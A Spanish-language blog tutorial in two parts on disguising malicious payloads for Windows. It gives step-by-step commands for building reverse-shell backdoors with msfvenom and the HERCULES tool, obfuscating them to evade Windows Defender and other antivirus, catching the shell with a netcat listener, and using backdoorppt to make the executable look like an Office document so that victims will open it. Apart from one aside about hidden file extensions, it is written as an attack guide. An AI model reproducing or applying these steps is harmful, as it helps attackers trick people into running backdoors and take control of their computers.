9.18.2018

Ingeniería Social: Camuflando un payload. Parte 2


En el artículo anterior vimos cómo camuflar un fichero ejecutable en sistemas Windows, utilizando un payload con msfvenon, sin ofuscar.
La idea era mostrar únicamente cómo se conseguía camuflar un ejecutable. Si habéis probado el ejemplo tal cual, veréis que, aunque Windows muestra el fichero tal como queríamos, los antivirus detectarán el payload.
Esto no nos será de utilidad en los sistema donde exista algún antivirus, lo cual estará dentro de los escenarios comunes.
Una solución a este problema es, además de camuflar el ejecutable, ofuscar el payload y conseguir saltar el antivirus. Para ello vamos a utilizar Hércules, una herramienta diseñada para este propósito.
Lo primero que vamos a hacer, es instalarla:
git clone https://github.com/EgeBalci/HERCULES
 cd HERCULES
 apt-get install golang-go
 export GOPATH=$HOME && go get github.com/fatih/color
 go run Setup.go
Una vez hecho esto, vamos a generar el payload:
 ./HERCULES

Seleccionamos la opción 1:
Seleccionamos el payload a usar. En el caso de KaliLinux, sólo funciona correctamente HERCULES REVERSE SHELL. El autor solucionará el bug en la próxima versión.
Introducimos la IP de nuestra Kali y puerto:
Hecho esto, nos pide el nombre del ejecutable y lo dejará en el home del usuario. Ya solo falta probar el ejecutable en Windows. Para abrir una sesión, una vez ejecutado en Windows, desde nuestra Kali bastará ejecutar:
 nc -l -p 4444

Y obtendremos nuestra Shell, en un Windows 8.1:
Por supuesto, podemos usar la herramienta vista en el artículo anterior para camuflar la extensión, lo cual hará que sea más fácil que el usuario ejecute el fichero.
Windows Defender, tanto en Windows 8.1, como en Windows 10, no detectan el anterior payload, aún ocultando la extensión. También analicé el ejecutable, tanto comprimido, como descomprimido, con varios antivirus más, sin que éstos detectasen nada.
Nuestro objetivo estaría conseguido: Hemos camuflado la extensión para sistemas Windows y además, saltamos las alertas de los antivirus.
Aquí nuestra Shell en un Windows 10:
¡Espero que os haya gustado! 😉

Ingeniería Social: Camuflando un payload PARTE 1

Una de las cosas que a veces necesitamos es camuflar un backdoor, para que el usuario confíe en el fichero y lo ejecute.

Para generar payloads tenemos múltiples métodos, por ejemplo, podemos utilizar msfvenon para crearlos. Con el framework Herculespodemos crear payloads, que permiten saltar diferentes antivirus. Sin embargo, estos payloads son ficheros .exe, lo que puede hacer sospechar al usuario y no ejecutarlos.
Una de las características que posee Windows, activadas por defecto (y que todos deberíamos desactivar) es ocultar las extensiones de ficheros conocidos. Esta característica nos permite cambiar el nombre de un fichero, estableciendo dos extensiones, de manera que sólo se oculta la última. Esto hace que el usuario final crea que está abriendo un fichero no ejecutable cuando, en realidad, sí lo es. Por ejemplo, suponiendo que hemos generado un payload con el nombre backdoor.exe, bastaría cambiar el nombre por backdoor.doc.exe. El usuario, en su explorador de ficheros, sólo vería backdoor.doc. Aún así queda el tema del icono. También debería cambiarse para que aparentera ser, en realidad, un .doc.
Este “truco” es válido cuando el usuario no ha cambiado la opción por defecto de ocultar las extensiones. En realidad, la mayor parte de usuarios finales, no cambian este valor. Por supuesto, si la ha cambiado, será muy fácil la detección del fichero.
¿Cómo podemos resolver esto?
Bien, en BlackArch, tenemos la herramienta  backdoorppt . Esta herramienta se apoya en resourcehacker y ruby para conseguir nuestro objetivo: cambiar el icono del fichero y ocultar la extensión, de manera que el usuario final crea que es un documento de Office. En KaliLinux no está incluida en la distribución pero funciona.
Lo primero que hace es cambiar el icono de nuestro payload. Para ello utiliza resourcehacker, con lo que es necesario disponer de wine en nuestro sistema. Una vez hecho esto, dispone de dos métodos para camuflar que el fichero es ejecutable. El método explicado anteriormente, es uno de ellos. Sin embargo, no es el método por defecto utilizado.
El método utilizado por defecto es el que se explica aquí . La ventaja de utilizar la herramienta, es que automatiza el proceso. Como puede verse, utiliza la función file.rename de Ruby, para conseguir el objetivo. En este caso, si que sólo es visible una extensión desde el explorador de archivos de Windows aunque, desde una consola, sí es posible ver que, realmente, es un .exe.
Bueno, ya hemos visto la teoría. Veamos si esto funciona en nuestra Kali. Lo primero de todo, clonar el proyecto:
git clone https://github.com/r00t-3xp10it/backdoorppt
cd backdoorppt
Por defecto, utiliza la opción de ruby para camuflar la extensión, pero no cambia el icono. Si queremos cambiar el icono, editamos el fichero settings y establecemos el valor de RESOURCEHACKER_BYPASS a YES:
Ahora, generamos un payload:
msfvenom -a x86 –platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.188 LPORT=1234 -b “\x00” -e x86/shikata_ga_nai -f exe -o /tmp/documento.exe
En LHOST ponemos la IP de nuestra Kali. En este escenario, el equipo Windows está en la misma red que la Kali.
Ejecutamos el script:
./backdoorppt.sh
Comprobará los requerimientos y si falta alguno, lo instalará. Dado que está preparado para sistemas Debian, en KaliLinux, deberían instalarse las dependencias sin problemas. Lo normal es que estén todas. Nos aparece una ventana, para que indiquemos dónde está el ejecutable. En nuestro caso, en /tmp/documento.exe:
Hecho esto, nos pide el nombre final del fichero. En este caso, confidencial:
Cuando termina, podemos ver que en el navegador de ficheros el nombre aparece como confidencialexe.ppty en el terminal, como confidencial?tpp.exe

Ya solo falta distribuir el fichero y que el usuario lo abra en el sistema Windows.
Como podemos ver, la herramienta es muy útil para automatizar el camuflaje de nuestros payloads.
¡Espero que os haya gustado! 😉